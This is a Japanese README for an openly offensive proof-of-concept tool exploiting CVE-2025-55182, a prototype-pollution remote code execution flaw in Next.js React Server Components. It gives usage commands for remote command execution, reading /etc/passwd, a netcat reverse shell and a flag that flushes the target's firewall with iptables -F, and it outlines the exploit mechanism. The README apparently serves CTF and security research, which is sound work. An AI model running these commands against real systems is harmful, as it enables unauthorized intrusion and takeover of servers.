
WEB-CLI_RCE_React2Shell は、CVE-2025-55182 を対象とした教育用 PoC エクスプロイトツールです。CVE-2025-55182 は、React Server Components を使用する Next.js アプリケーションにおける重大な Prototype Pollution の脆弱性です。CTF や研究用に設計されており、単一コマンドモード、対話型 Web CLI、そして RCE を実証するためのリバースシェル機能を備えています。
このツールは、CVE-2025-55182 のシンプルなPoC(Proof-of-Concept)エクスプロイトです。これは、React Server Components を使用する Next.js アプリケーションで見つかった深刻な脆弱性(プロトタイプ汚染)です。
ターゲットサーバーに脆弱性がある場合、このスクリプトを使用すると、そのサーバー上でオペレーティングシステムのコマンドを実行できます(リモートコード実行、RCE)。
このツールは、学習、CTF、および責任あるセキュリティ研究のために作られています。
倫理的に使用してください。 このエクスプロイトは、自分が所有しているシステム、またはテストするための明示的かつ文書化された許可を得ているシステムに対してのみ実行してください。無断使用は違法です。このツールは教育目的のみです。
このツールには、コマンドを実行する3つの主要な方法があります。シンプルな単一コマンド、本格的な対話型ウェブコンソール、そして古典的なリバースシェルの試行です。
コードを取得:
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
ライブラリをインストール:
pip install requests
これはターゲットとやり取りする最も簡単な方法です。ターミナルのように動作するローカルウェブページを自分のマシン上で起動します。
スクリプトを実行:
python3 exploit.py <TARGET_URL> --web-cli
例: python3 exploit.py http://target.com/ --web-cli
ブラウザを開く: スクリプトが http://127.0.0.1:8000/ を開くように指示します。その後、ウェブページに直接コマンド(ls、whoami、cat /etc/passwd など)を入力できます。
1つのコマンドを実行し、ローカルターミナルで即座に出力を取得します。ユーザーIDの確認など、簡単なチェックに適しています。
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
例: python3 exploit.py http://target.com/ --cmd 'id'
安定した永続的な接続が必要な場合は、このモードを使用してください。注: 実際の環境では、ファイアウォール(エグレスフィルタリング)が原因で失敗することがよくあります。
リスナーを起動(例:netcat):
nc -lvnp 55555
エクスプロイトを実行:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>:自分のマシンのIP。-p 55555:リスナーが使用しているポート。--flush(オプション):最初にターゲット上で iptables -F を実行し、ホストファイアウォールをクリアしようとします。このエクスプロイトは、プロトタイプ汚染 の脆弱性を利用してRCEを達成します。
Object.prototype)にプロパティを追加できるようにします。child_process を使用)。そのプロパティの値をシェルコマンドに置き換えます。execSync)を実行させ、すぐに無害なエラーをスローさせます。コマンドの出力は、エラーメッセージの digest フィールドに巧妙に埋め込まれます。その後、Pythonスクリプトがこのフィールドを読み取って結果を取得します。この研究は、セキュリティコミュニティによる初期の研究と開示に基づいています。すべての研究者とオープンソース貢献者に感謝します。